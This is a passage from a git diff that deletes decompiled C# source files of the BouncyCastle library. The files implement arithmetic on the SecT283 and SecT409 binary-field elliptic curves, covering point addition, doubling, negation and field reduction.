eCFieldElement.IsOne; - ECFieldElement eCFieldElement3 = rawXCoord2; - ECFieldElement eCFieldElement4 = rawYCoord2; - if (!isOne) - { - eCFieldElement3 = eCFieldElement3.Multiply(eCFieldElement); - eCFieldElement4 = eCFieldElement4.Multiply(eCFieldElement); - } - bool isOne2 = eCFieldElement2.IsOne; - ECFieldElement eCFieldElement5 = rawXCoord; - ECFieldElement eCFieldElement6 = rawYCoord; - if (!isOne2) - { - eCFieldElement5 = eCFieldElement5.Multiply(eCFieldElement2); - eCFieldElement6 = eCFieldElement6.Multiply(eCFieldElement2); - } - ECFieldElement eCFieldElement7 = eCFieldElement6.Add(eCFieldElement4); - ECFieldElement eCFieldElement8 = eCFieldElement5.Add(eCFieldElement3); - if (eCFieldElement8.IsZero) - { - if (eCFieldElement7.IsZero) - { - return Twice(); - } - return curve.Infinity; - } - ECFieldElement eCFieldElement10; - ECFieldElement y; - ECFieldElement eCFieldElement12; - if (rawXCoord2.IsZero) - { - ECPoint eCPoint = Normalize(); - rawXCoord = eCPoint.XCoord; - ECFieldElement yCoord = eCPoint.YCoord; - ECFieldElement b2 = rawYCoord2; - ECFieldElement eCFieldElement9 = yCoord.Add(b2).Divide(rawXCoord); - eCFieldElement10 = eCFieldElement9.Square().Add(eCFieldElement9).Add(rawXCoord); - if (eCFieldElement10.IsZero) - { - return new SecT283K1Point(curve, eCFieldElement10, curve.B, base.IsCompressed); - } - ECFieldElement eCFieldElement11 = eCFieldElement9.Multiply(rawXCoord.Add(eCFieldElement10)).Add(eCFieldElement10).Add(yCoord); - y = eCFieldElement11.Divide(eCFieldElement10).Add(eCFieldElement10); - eCFieldElement12 = curve.FromBigInteger(BigInteger.One); - } - else - { - eCFieldElement8 = eCFieldElement8.Square(); - ECFieldElement eCFieldElement13 = eCFieldElement7.Multiply(eCFieldElement5); - ECFieldElement eCFieldElement14 = eCFieldElement7.Multiply(eCFieldElement3); - eCFieldElement10 = eCFieldElement13.Multiply(eCFieldElement14); - if (eCFieldElement10.IsZero) - { - return new SecT283K1Point(curve, eCFieldElement10, curve.B, base.IsCompressed); - } - ECFieldElement eCFieldElement15 = eCFieldElement7.Multiply(eCFieldElement8); - if (!isOne2) - { - eCFieldElement15 = eCFieldElement15.Multiply(eCFieldElement2); - } - y = eCFieldElement14.Add(eCFieldElement8).SquarePlusProduct(eCFieldElement15, rawYCoord.Add(eCFieldElement)); - eCFieldElement12 = eCFieldElement15; - if (!isOne) - { - eCFieldElement12 = eCFieldElement12.Multiply(eCFieldElement); - } - } - return new SecT283K1Point(curve, eCFieldElement10, y, new ECFieldElement[1] { eCFieldElement12 }, base.IsCompressed); - } - - public override ECPoint Twice() - { - if (base.IsInfinity) - { - return this; - } - ECCurve curve = Curve; - ECFieldElement rawXCoord = base.RawXCoord; - if (rawXCoord.IsZero) - { - return curve.Infinity; - } - ECFieldElement rawYCoord = base.RawYCoord; - ECFieldElement eCFieldElement = base.RawZCoords[0]; - bool isOne = eCFieldElement.IsOne; - ECFieldElement eCFieldElement2 = (isOne ? eCFieldElement : eCFieldElement.Square()); - ECFieldElement eCFieldElement3 = ((!isOne) ? rawYCoord.Add(eCFieldElement).Multiply(rawYCoord) : rawYCoord.Square().Add(rawYCoord)); - if (eCFieldElement3.IsZero) - { - return new SecT283K1Point(curve, eCFieldElement3, curve.B, base.IsCompressed); - } - ECFieldElement eCFieldElement4 = eCFieldElement3.Square(); - ECFieldElement eCFieldElement5 = (isOne ? eCFieldElement3 : eCFieldElement3.Multiply(eCFieldElement2)); - ECFieldElement eCFieldElement6 = rawYCoord.Add(rawXCoord).Square(); - ECFieldElement b = (isOne ? eCFieldElement : eCFieldElement2.Square()); - ECFieldElement y = eCFieldElement6.Add(eCFieldElement3).Add(eCFieldElement2).Multiply(eCFieldElement6) - .Add(b) - .Add(eCFieldElement4) - .Add(eCFieldElement5); - return new SecT283K1Point(curve, eCFieldElement4, y, new ECFieldElement[1] { eCFieldElement5 }, base.IsCompressed); - } - - public override ECPoint TwicePlus(ECPoint b) - { - if (base.IsInfinity) - { - return b; - } - if (b.IsInfinity) - { - return Twice(); - } - ECCurve curve = Curve; - ECFieldElement rawXCoord = base.RawXCoord; - if (rawXCoord.IsZero) - { - return b; - } - ECFieldElement rawXCoord2 = b.RawXCoord; - ECFieldElement eCFieldElement = b.RawZCoords[0]; - if (rawXCoord2.IsZero || !eCFieldElement.IsOne) - { - return Twice().Add(b); - } - ECFieldElement rawYCoord = base.RawYCoord; - ECFieldElement eCFieldElement2 = base.RawZCoords[0]; - ECFieldElement rawYCoord2 = b.RawYCoord; - ECFieldElement x = rawXCoord.Square(); - ECFieldElement eCFieldElement3 = rawYCoord.Square(); - ECFieldElement eCFieldElement4 = eCFieldElement2.Square(); - ECFieldElement b2 = rawYCoord.Multiply(eCFieldElement2); - ECFieldElement b3 = eCFieldElement3.Add(b2); - ECFieldElement eCFieldElement5 = rawYCoord2.AddOne(); - ECFieldElement eCFieldElement6 = eCFieldElement5.Multiply(eCFieldElement4).Add(eCFieldElement3).MultiplyPlusProduct(b3, x, eCFieldElement4); - ECFieldElement eCFieldElement7 = rawXCoord2.Multiply(eCFieldElement4); - ECFieldElement eCFieldElement8 = eCFieldElement7.Add(b3).Square(); - if (eCFieldElement8.IsZero) - { - if (eCFieldElement6.IsZero) - { - return b.Twice(); - } - return curve.Infinity; - } - if (eCFieldElement6.IsZero) - { - return new SecT283K1Point(curve, eCFieldElement6, curve.B, base.IsCompressed); - } - ECFieldElement x2 = eCFieldElement6.Square().Multiply(eCFieldElement7); - ECFieldElement eCFieldElement9 = eCFieldElement6.Multiply(eCFieldElement8).Multiply(eCFieldElement4); - ECFieldElement y = eCFieldElement6.Add(eCFieldElement8).Square().MultiplyPlusProduct(b3, eCFieldElement5, eCFieldElement9); - return new SecT283K1Point(curve, x2, y, new ECFieldElement[1] { eCFieldElement9 }, base.IsCompressed); - } - - public override ECPoint Negate() - { - if (base.IsInfinity) - { - return this; - } - ECFieldElement rawXCoord = base.RawXCoord; - if (rawXCoord.IsZero) - { - return this; - } - ECFieldElement rawYCoord = base.RawYCoord; - ECFieldElement eCFieldElement = base.RawZCoords[0]; - return new SecT283K1Point(Curve, rawXCoord, rawYCoord.Add(eCFieldElement), new ECFieldElement[1] { eCFieldElement }, base.IsCompressed); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT283R1Curve.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT283R1Curve.cs deleted file mode 100644 index 6b7b95a..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT283R1Curve.cs +++ /dev/null @@ -1,127 +0,0 @@ -using Org.BouncyCastle.Math.Raw; -using Org.BouncyCastle.Utilities.Encoders; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecT283R1Curve : AbstractF2mCurve -{ - private class SecT283R1LookupTable : ECLookupTable - { - private readonly SecT283R1Curve m_outer; - - private readonly ulong[] m_table; - - private readonly int m_size; - - public virtual int Size => m_size; - - internal SecT283R1LookupTable(SecT283R1Curve outer, ulong[] table, int size) - { - m_outer = outer; - m_table = table; - m_size = size; - } - - public virtual ECPoint Lookup(int index) - { - ulong[] array = Nat320.Create64(); - ulong[] array2 = Nat320.Create64(); - int num = 0; - for (int i = 0; i < m_size; i++) - { - ulong num2 = (ulong)((i ^ index) - 1 >> 31); - for (int j = 0; j < 5; j++) - { - ulong[] array4; - ulong[] array3 = (array4 = array); - int num3 = j; - nint num4 = num3; - array3[num3] = array4[num4] ^ (m_table[num + j] & num2); - ulong[] array5 = (array4 = array2); - int num5 = j; - num4 = num5; - array5[num5] = array4[num4] ^ (m_table[num + 5 + j] & num2); - } - num += 10; - } - return m_outer.CreateRawPoint(new SecT283FieldElement(array), new SecT283FieldElement(array2), withCompression: false); - } - } - - private const int SECT283R1_DEFAULT_COORDS = 6; - - private const int SECT283R1_FE_LONGS = 5; - - protected readonly SecT283R1Point m_infinity; - - public override ECPoint Infinity => m_infinity; - - public override int FieldSize => 283; - - public override bool IsKoblitz => false; - - public virtual int M => 283; - - public virtual bool IsTrinomial => false; - - public virtual int K1 => 5; - - public virtual int K2 => 7; - - public virtual int K3 => 12; - - public SecT283R1Curve() - : base(283, 5, 7, 12) - { - m_infinity = new SecT283R1Point(this, null, null); - m_a = FromBigInteger(BigInteger.One); - m_b = FromBigInteger(new BigInteger(1, Hex.Decode("027B680AC8B8596DA5A4AF8A19A0303FCA97FD7645309FA2A581485AF6263E313B79A2F5"))); - m_order = new BigInteger(1, Hex.Decode("03FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEF90399660FC938A90165B042A7CEFADB307")); - m_cofactor = BigInteger.Two; - m_coord = 6; - } - - protected override ECCurve CloneCurve() - { - return new SecT283R1Curve(); - } - - public override bool SupportsCoordinateSystem(int coord) - { - if (coord == 6) - { - return true; - } - return false; - } - - public override ECFieldElement FromBigInteger(BigInteger x) - { - return new SecT283FieldElement(x); - } - - protected internal override ECPoint CreateRawPoint(ECFieldElement x, ECFieldElement y, bool withCompression) - { - return new SecT283R1Point(this, x, y, withCompression); - } - - protected internal override ECPoint CreateRawPoint(ECFieldElement x, ECFieldElement y, ECFieldElement[] zs, bool withCompression) - { - return new SecT283R1Point(this, x, y, zs, withCompression); - } - - public override ECLookupTable CreateCacheSafeLookupTable(ECPoint[] points, int off, int len) - { - ulong[] array = new ulong[len * 5 * 2]; - int num = 0; - for (int i = 0; i < len; i++) - { - ECPoint eCPoint = points[off + i]; - Nat320.Copy64(((SecT283FieldElement)eCPoint.RawXCoord).x, 0, array, num); - num += 5; - Nat320.Copy64(((SecT283FieldElement)eCPoint.RawYCoord).x, 0, array, num); - num += 5; - } - return new SecT283R1LookupTable(this, array, len); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT283R1Point.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT283R1Point.cs deleted file mode 100644 index d63591f..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT283R1Point.cs +++ /dev/null @@ -1,256 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecT283R1Point : AbstractF2mPoint -{ - public override ECFieldElement YCoord - { - get - { - ECFieldElement rawXCoord = base.RawXCoord; - ECFieldElement rawYCoord = base.RawYCoord; - if (base.IsInfinity || rawXCoord.IsZero) - { - return rawYCoord; - } - ECFieldElement eCFieldElement = rawYCoord.Add(rawXCoord).Multiply(rawXCoord); - ECFieldElement eCFieldElement2 = base.RawZCoords[0]; - if (!eCFieldElement2.IsOne) - { - eCFieldElement = eCFieldElement.Divide(eCFieldElement2); - } - return eCFieldElement; - } - } - - protected internal override bool CompressionYTilde - { - get - { - ECFieldElement rawXCoord = base.RawXCoord; - if (rawXCoord.IsZero) - { - return false; - } - ECFieldElement rawYCoord = base.RawYCoord; - return rawYCoord.TestBitZero() != rawXCoord.TestBitZero(); - } - } - - public SecT283R1Point(ECCurve curve, ECFieldElement x, ECFieldElement y) - : this(curve, x, y, withCompression: false) - { - } - - public SecT283R1Point(ECCurve curve, ECFieldElement x, ECFieldElement y, bool withCompression) - : base(curve, x, y, withCompression) - { - if (x == null != (y == null)) - { - throw new ArgumentException("Exactly one of the field elements is null"); - } - } - - internal SecT283R1Point(ECCurve curve, ECFieldElement x, ECFieldElement y, ECFieldElement[] zs, bool withCompression) - : base(curve, x, y, zs, withCompression) - { - } - - protected override ECPoint Detach() - { - return new SecT283R1Point(null, AffineXCoord, AffineYCoord); - } - - public override ECPoint Add(ECPoint b) - { - if (base.IsInfinity) - { - return b; - } - if (b.IsInfinity) - { - return this; - } - ECCurve curve = Curve; - ECFieldElement rawXCoord = base.RawXCoord; - ECFieldElement rawXCoord2 = b.RawXCoord; - if (rawXCoord.IsZero) - { - if (rawXCoord2.IsZero) - { - return curve.Infinity; - } - return b.Add(this); - } - ECFieldElement rawYCoord = base.RawYCoord; - ECFieldElement eCFieldElement = base.RawZCoords[0]; - ECFieldElement rawYCoord2 = b.RawYCoord; - ECFieldElement eCFieldElement2 = b.RawZCoords[0]; - bool isOne = eCFieldElement.IsOne; - ECFieldElement eCFieldElement3 = rawXCoord2; - ECFieldElement eCFieldElement4 = rawYCoord2; - if (!isOne) - { - eCFieldElement3 = eCFieldElement3.Multiply(eCFieldElement); - eCFieldElement4 = eCFieldElement4.Multiply(eCFieldElement); - } - bool isOne2 = eCFieldElement2.IsOne; - ECFieldElement eCFieldElement5 = rawXCoord; - ECFieldElement eCFieldElement6 = rawYCoord; - if (!isOne2) - { - eCFieldElement5 = eCFieldElement5.Multiply(eCFieldElement2); - eCFieldElement6 = eCFieldElement6.Multiply(eCFieldElement2); - } - ECFieldElement eCFieldElement7 = eCFieldElement6.Add(eCFieldElement4); - ECFieldElement eCFieldElement8 = eCFieldElement5.Add(eCFieldElement3); - if (eCFieldElement8.IsZero) - { - if (eCFieldElement7.IsZero) - { - return Twice(); - } - return curve.Infinity; - } - ECFieldElement eCFieldElement10; - ECFieldElement y; - ECFieldElement eCFieldElement12; - if (rawXCoord2.IsZero) - { - ECPoint eCPoint = Normalize(); - rawXCoord = eCPoint.XCoord; - ECFieldElement yCoord = eCPoint.YCoord; - ECFieldElement b2 = rawYCoord2; - ECFieldElement eCFieldElement9 = yCoord.Add(b2).Divide(rawXCoord); - eCFieldElement10 = eCFieldElement9.Square().Add(eCFieldElement9).Add(rawXCoord) - .AddOne(); - if (eCFieldElement10.IsZero) - { - return new SecT283R1Point(curve, eCFieldElement10, curve.B.Sqrt(), base.IsCompressed); - } - ECFieldElement eCFieldElement11 = eCFieldElement9.Multiply(rawXCoord.Add(eCFieldElement10)).Add(eCFieldElement10).Add(yCoord); - y = eCFieldElement11.Divide(eCFieldElement10).Add(eCFieldElement10); - eCFieldElement12 = curve.FromBigInteger(BigInteger.One); - } - else - { - eCFieldElement8 = eCFieldElement8.Square(); - ECFieldElement eCFieldElement13 = eCFieldElement7.Multiply(eCFieldElement5); - ECFieldElement eCFieldElement14 = eCFieldElement7.Multiply(eCFieldElement3); - eCFieldElement10 = eCFieldElement13.Multiply(eCFieldElement14); - if (eCFieldElement10.IsZero) - { - return new SecT283R1Point(curve, eCFieldElement10, curve.B.Sqrt(), base.IsCompressed); - } - ECFieldElement eCFieldElement15 = eCFieldElement7.Multiply(eCFieldElement8); - if (!isOne2) - { - eCFieldElement15 = eCFieldElement15.Multiply(eCFieldElement2); - } - y = eCFieldElement14.Add(eCFieldElement8).SquarePlusProduct(eCFieldElement15, rawYCoord.Add(eCFieldElement)); - eCFieldElement12 = eCFieldElement15; - if (!isOne) - { - eCFieldElement12 = eCFieldElement12.Multiply(eCFieldElement); - } - } - return new SecT283R1Point(curve, eCFieldElement10, y, new ECFieldElement[1] { eCFieldElement12 }, base.IsCompressed); - } - - public override ECPoint Twice() - { - if (base.IsInfinity) - { - return this; - } - ECCurve curve = Curve; - ECFieldElement rawXCoord = base.RawXCoord; - if (rawXCoord.IsZero) - { - return curve.Infinity; - } - ECFieldElement rawYCoord = base.RawYCoord; - ECFieldElement eCFieldElement = base.RawZCoords[0]; - bool isOne = eCFieldElement.IsOne; - ECFieldElement eCFieldElement2 = (isOne ? rawYCoord : rawYCoord.Multiply(eCFieldElement)); - ECFieldElement b = (isOne ? eCFieldElement : eCFieldElement.Square()); - ECFieldElement eCFieldElement3 = rawYCoord.Square().Add(eCFieldElement2).Add(b); - if (eCFieldElement3.IsZero) - { - return new SecT283R1Point(curve, eCFieldElement3, curve.B.Sqrt(), base.IsCompressed); - } - ECFieldElement eCFieldElement4 = eCFieldElement3.Square(); - ECFieldElement eCFieldElement5 = (isOne ? eCFieldElement3 : eCFieldElement3.Multiply(b)); - ECFieldElement eCFieldElement6 = (isOne ? rawXCoord : rawXCoord.Multiply(eCFieldElement)); - ECFieldElement y = eCFieldElement6.SquarePlusProduct(eCFieldElement3, eCFieldElement2).Add(eCFieldElement4).Add(eCFieldElement5); - return new SecT283R1Point(curve, eCFieldElement4, y, new ECFieldElement[1] { eCFieldElement5 }, base.IsCompressed); - } - - public override ECPoint TwicePlus(ECPoint b) - { - if (base.IsInfinity) - { - return b; - } - if (b.IsInfinity) - { - return Twice(); - } - ECCurve curve = Curve; - ECFieldElement rawXCoord = base.RawXCoord; - if (rawXCoord.IsZero) - { - return b; - } - ECFieldElement rawXCoord2 = b.RawXCoord; - ECFieldElement eCFieldElement = b.RawZCoords[0]; - if (rawXCoord2.IsZero || !eCFieldElement.IsOne) - { - return Twice().Add(b); - } - ECFieldElement rawYCoord = base.RawYCoord; - ECFieldElement eCFieldElement2 = base.RawZCoords[0]; - ECFieldElement rawYCoord2 = b.RawYCoord; - ECFieldElement x = rawXCoord.Square(); - ECFieldElement b2 = rawYCoord.Square(); - ECFieldElement eCFieldElement3 = eCFieldElement2.Square(); - ECFieldElement b3 = rawYCoord.Multiply(eCFieldElement2); - ECFieldElement b4 = eCFieldElement3.Add(b2).Add(b3); - ECFieldElement eCFieldElement4 = rawYCoord2.Multiply(eCFieldElement3).Add(b2).MultiplyPlusProduct(b4, x, eCFieldElement3); - ECFieldElement eCFieldElement5 = rawXCoord2.Multiply(eCFieldElement3); - ECFieldElement eCFieldElement6 = eCFieldElement5.Add(b4).Square(); - if (eCFieldElement6.IsZero) - { - if (eCFieldElement4.IsZero) - { - return b.Twice(); - } - return curve.Infinity; - } - if (eCFieldElement4.IsZero) - { - return new SecT283R1Point(curve, eCFieldElement4, curve.B.Sqrt(), base.IsCompressed); - } - ECFieldElement x2 = eCFieldElement4.Square().Multiply(eCFieldElement5); - ECFieldElement eCFieldElement7 = eCFieldElement4.Multiply(eCFieldElement6).Multiply(eCFieldElement3); - ECFieldElement y = eCFieldElement4.Add(eCFieldElement6).Square().MultiplyPlusProduct(b4, rawYCoord2.AddOne(), eCFieldElement7); - return new SecT283R1Point(curve, x2, y, new ECFieldElement[1] { eCFieldElement7 }, base.IsCompressed); - } - - public override ECPoint Negate() - { - if (base.IsInfinity) - { - return this; - } - ECFieldElement rawXCoord = base.RawXCoord; - if (rawXCoord.IsZero) - { - return this; - } - ECFieldElement rawYCoord = base.RawYCoord; - ECFieldElement eCFieldElement = base.RawZCoords[0]; - return new SecT283R1Point(Curve, rawXCoord, rawYCoord.Add(eCFieldElement), new ECFieldElement[1] { eCFieldElement }, base.IsCompressed); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT409Field.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT409Field.cs deleted file mode 100644 index 327d811..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT409Field.cs +++ /dev/null @@ -1,319 +0,0 @@ -using System; -using Org.BouncyCastle.Math.Raw; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecT409Field -{ - private const ulong M25 = 33554431uL; - - private const ulong M59 = 576460752303423487uL; - - public static void Add(ulong[] x, ulong[] y, ulong[] z) - { - z[0] = x[0] ^ y[0]; - z[1] = x[1] ^ y[1]; - z[2] = x[2] ^ y[2]; - z[3] = x[3] ^ y[3]; - z[4] = x[4] ^ y[4]; - z[5] = x[5] ^ y[5]; - z[6] = x[6] ^ y[6]; - } - - public static void AddExt(ulong[] xx, ulong[] yy, ulong[] zz) - { - for (int i = 0; i < 13; i++) - { - zz[i] = xx[i] ^ yy[i]; - } - } - - public static void AddOne(ulong[] x, ulong[] z) - { - z[0] = x[0] ^ 1; - z[1] = x[1]; - z[2] = x[2]; - z[3] = x[3]; - z[4] = x[4]; - z[5] = x[5]; - z[6] = x[6]; - } - - public static ulong[] FromBigInteger(BigInteger x) - { - ulong[] array = Nat448.FromBigInteger64(x); - Reduce39(array, 0); - return array; - } - - public static void Invert(ulong[] x, ulong[] z) - { - if (Nat448.IsZero64(x)) - { - throw new InvalidOperationException(); - } - ulong[] array = Nat448.Create64(); - ulong[] array2 = Nat448.Create64(); - ulong[] array3 = Nat448.Create64(); - Square(x, array); - SquareN(array, 1, array2); - Multiply(array, array2, array); - SquareN(array2, 1, array2); - Multiply(array, array2, array); - SquareN(array, 3, array2); - Multiply(array, array2, array); - SquareN(array, 6, array2); - Multiply(array, array2, array); - SquareN(array, 12, array2); - Multiply(array, array2, array3); - SquareN(array3, 24, array); - SquareN(array, 24, array2); - Multiply(array, array2, array); - SquareN(array, 48, array2); - Multiply(array, array2, array); - SquareN(array, 96, array2); - Multiply(array, array2, array); - SquareN(array, 192, array2); - Multiply(array, array2, array); - Multiply(array, array3, z); - } - - public static void Multiply(ulong[] x, ulong[] y, ulong[] z) - { - ulong[] array = Nat448.CreateExt64(); - ImplMultiply(x, y, array); - Reduce(array, z); - } - - public static void MultiplyAddToExt(ulong[] x, ulong[] y, ulong[] zz) - { - ulong[] array = Nat448.CreateExt64(); - ImplMultiply(x, y, array); - AddExt(zz, array, zz); - } - - public static void Reduce(ulong[] xx, ulong[] z) - { - ulong num = xx[0]; - ulong num2 = xx[1]; - ulong num3 = xx[2]; - ulong num4 = xx[3]; - ulong num5 = xx[4]; - ulong num6 = xx[5]; - ulong num7 = xx[6]; - ulong num8 = xx[7]; - ulong num9 = xx[12]; - num6 ^= num9 << 39; - num7 ^= (num9 >> 25) ^ (num9 << 62); - num8 ^= num9 >> 2; - num9 = xx[11]; - num5 ^= num9 << 39; - num6 ^= (num9 >> 25) ^ (num9 << 62); - num7 ^= num9 >> 2; - num9 = xx[10]; - num4 ^= num9 << 39; - num5 ^= (num9 >> 25) ^ (num9 << 62); - num6 ^= num9 >> 2; - num9 = xx[9]; - num3 ^= num9 << 39; - num4 ^= (num9 >> 25) ^ (num9 << 62); - num5 ^= num9 >> 2; - num9 = xx[8]; - num2 ^= num9 << 39; - num3 ^= (num9 >> 25) ^ (num9 << 62); - num4 ^= num9 >> 2; - num9 = num8; - num ^= num9 << 39; - num2 ^= (num9 >> 25) ^ (num9 << 62); - num3 ^= num9 >> 2; - ulong num10 = num7 >> 25; - z[0] = num ^ num10; - z[1] = num2 ^ (num10 << 23); - z[2] = num3; - z[3] = num4; - z[4] = num5; - z[5] = num6; - z[6] = num7 & 0x1FFFFFF; - } - - public static void Reduce39(ulong[] z, int zOff) - { - ulong num = z[zOff + 6]; - ulong num2 = num >> 25; - ulong[] array2; - ulong[] array = (array2 = z); - nint num3 = zOff; - array[zOff] = array2[num3] ^ num2; - ulong[] array3 = (array2 = z); - int num4 = zOff + 1; - num3 = num4; - array3[num4] = array2[num3] ^ (num2 << 23); - z[zOff + 6] = num & 0x1FFFFFF; - } - - public static void Sqrt(ulong[] x, ulong[] z) - { - ulong num = Interleave.Unshuffle(x[0]); - ulong num2 = Interleave.Unshuffle(x[1]); - ulong num3 = (num & 0xFFFFFFFFu) | (num2 << 32); - ulong num4 = (num >> 32) | (num2 & 0xFFFFFFFF00000000uL); - num = Interleave.Unshuffle(x[2]); - num2 = Interleave.Unshuffle(x[3]); - ulong num5 = (num & 0xFFFFFFFFu) | (num2 << 32); - ulong num6 = (num >> 32) | (num2 & 0xFFFFFFFF00000000uL); - num = Interleave.Unshuffle(x[4]); - num2 = Interleave.Unshuffle(x[5]); - ulong num7 = (num & 0xFFFFFFFFu) | (num2 << 32); - ulong num8 = (num >> 32) | (num2 & 0xFFFFFFFF00000000uL); - num = Interleave.Unshuffle(x[6]); - ulong num9 = num & 0xFFFFFFFFu; - ulong num10 = num >> 32; - z[0] = num3 ^ (num4 << 44); - z[1] = num5 ^ (num6 << 44) ^ (num4 >> 20); - z[2] = num7 ^ (num8 << 44) ^ (num6 >> 20); - z[3] = num9 ^ (num10 << 44) ^ (num8 >> 20) ^ (num4 << 13); - z[4] = (num10 >> 20) ^ (num6 << 13) ^ (num4 >> 51); - z[5] = (num8 << 13) ^ (num6 >> 51); - z[6] = (num10 << 13) ^ (num8 >> 51); - } - - public static void Square(ulong[] x, ulong[] z) - { - ulong[] array = Nat.Create64(13); - ImplSquare(x, array); - Reduce(array, z); - } - - public static void SquareAddToExt(ulong[] x, ulong[] zz) - { - ulong[] array = Nat.Create64(13); - ImplSquare(x, array); - AddExt(zz, array, zz); - } - - public static void SquareN(ulong[] x, int n, ulong[] z) - { - ulong[] array = Nat.Create64(13); - ImplSquare(x, array); - Reduce(array, z); - while (--n > 0) - { - ImplSquare(z, array); - Reduce(array, z); - } - } - - public static uint Trace(ulong[] x) - { - return (uint)((int)x[0] & 1); - } - - protected static void ImplCompactExt(ulong[] zz) - { - ulong num = zz[0]; - ulong num2 = zz[1]; - ulong num3 = zz[2]; - ulong num4 = zz[3]; - ulong num5 = zz[4]; - ulong num6 = zz[5]; - ulong num7 = zz[6]; - ulong num8 = zz[7]; - ulong num9 = zz[8]; - ulong num10 = zz[9]; - ulong num11 = zz[10]; - ulong num12 = zz[11]; - ulong num13 = zz[12]; - ulong num14 = zz[13]; - zz[0] = num ^ (num2 << 59); - zz[1] = (num2 >> 5) ^ (num3 << 54); - zz[2] = (num3 >> 10) ^ (num4 << 49); - zz[3] = (num4 >> 15) ^ (num5 << 44); - zz[4] = (num5 >> 20) ^ (num6 << 39); - zz[5] = (num6 >> 25) ^ (num7 << 34); - zz[6] = (num7 >> 30) ^ (num8 << 29); - zz[7] = (num8 >> 35) ^ (num9 << 24); - zz[8] = (num9 >> 40) ^ (num10 << 19); - zz[9] = (num10 >> 45) ^ (num11 << 14); - zz[10] = (num11 >> 50) ^ (num12 << 9); - zz[11] = (num12 >> 55) ^ (num13 << 4) ^ (num14 << 63); - zz[12] = (num13 >> 60) ^ (num14 >> 1); - zz[13] = 0uL; - } - - protected static void ImplExpand(ulong[] x, ulong[] z) - { - ulong num = x[0]; - ulong num2 = x[1]; - ulong num3 = x[2]; - ulong num4 = x[3]; - ulong num5 = x[4]; - ulong num6 = x[5]; - ulong num7 = x[6]; - z[0] = num & 0x7FFFFFFFFFFFFFFL; - z[1] = ((num >> 59) ^ (num2 << 5)) & 0x7FFFFFFFFFFFFFFL; - z[2] = ((num2 >> 54) ^ (num3 << 10)) & 0x7FFFFFFFFFFFFFFL; - z[3] = ((num3 >> 49) ^ (num4 << 15)) & 0x7FFFFFFFFFFFFFFL; - z[4] = ((num4 >> 44) ^ (num5 << 20)) & 0x7FFFFFFFFFFFFFFL; - z[5] = ((num5 >> 39) ^ (num6 << 25)) & 0x7FFFFFFFFFFFFFFL; - z[6] = (num6 >> 34) ^ (num7 << 30); - } - - protected static void ImplMultiply(ulong[] x, ulong[] y, ulong[] zz) - { - ulong[] array = new ulong[7]; - ulong[] array2 = new ulong[7]; - ImplExpand(x, array); - ImplExpand(y, array2); - for (int i = 0; i < 7; i++) - { - ImplMulwAcc(array, array2[i], zz, i); - } - ImplCompactExt(zz); - } - - protected static void ImplMulwAcc(ulong[] xs, ulong y, ulong[] z, int zOff) - { - ulong[] array = new ulong[8]; - array[1] = y; - array[2] = array[1] << 1; - array[3] = array[2] ^ y; - array[4] = array[2] << 1; - array[5] = array[4] ^ y; - array[6] = array[3] << 1; - array[7] = array[6] ^ y; - for (int i = 0; i < 7; i++) - { - ulong num = xs[i]; - uint num2 = (uint)num; - ulong num3 = 0uL; - ulong num4 = array[num2 & 7] ^ (array[(num2 >> 3) & 7] << 3); - int num5 = 54; - do - { - num2 = (uint)(num >> num5); - ulong num6 = array[num2 & 7] ^ (array[(num2 >> 3) & 7] << 3); - num4 ^= num6 << num5; - num3 ^= num6 >> -num5; - } - while ((num5 -= 6) > 0); - ulong[] array3; - ulong[] array2 = (array3 = z); - int num7 = zOff + i; - nint num8 = num7; - array2[num7] = array3[num8] ^ (num4 & 0x7FFFFFFFFFFFFFFL); - ulong[] array4 = (array3 = z); - int num9 = zOff + i + 1; - num8 = num9; - array4[num9] = array3[num8] ^ ((num4 >> 59) ^ (num3 << 5)); - } - } - - protected static void ImplSquare(ulong[] x, ulong[] zz) - { - for (int i = 0; i < 6; i++) - { - Interleave.Expand64To128(x[i], zz, i << 1); - } - zz[12] = Interleave.Expand32to64((uint)x[6]); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT409FieldElement.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT409FieldElement.cs deleted file mode 100644 index 65020f6..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT409FieldElement.cs +++ /dev/null @@ -1,195 +0,0 @@ -using System; -using Org.BouncyCastle.Math.Raw; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecT409FieldElement : AbstractF2mFieldElement -{ - protected internal readonly ulong[] x; - - public override bool IsOne => Nat448.IsOne64(x); - - public override bool IsZero => Nat448.IsZero64(x); - - public override string FieldName => "SecT409Field"; - - public override int FieldSize => 409; - - public virtual int Representation => 2; - - public virtual int M => 409; - - public virtual int K1 => 87; - - public virtual int K2 => 0; - - public virtual int K3 => 0; - - public SecT409FieldElement(BigInteger x) - { - if (x == null || x.SignValue < 0 || x.BitLength > 409) - { - throw new ArgumentException("value invalid for SecT409FieldElement", "x"); - } - this.x = SecT409Field.FromBigInteger(x); - } - - public SecT409FieldElement() - { - x = Nat448.Create64(); - } - - protected internal SecT409FieldElement(ulong[] x) - { - this.x = x; - } - - public override bool TestBitZero() - { - return (x[0] & 1) != 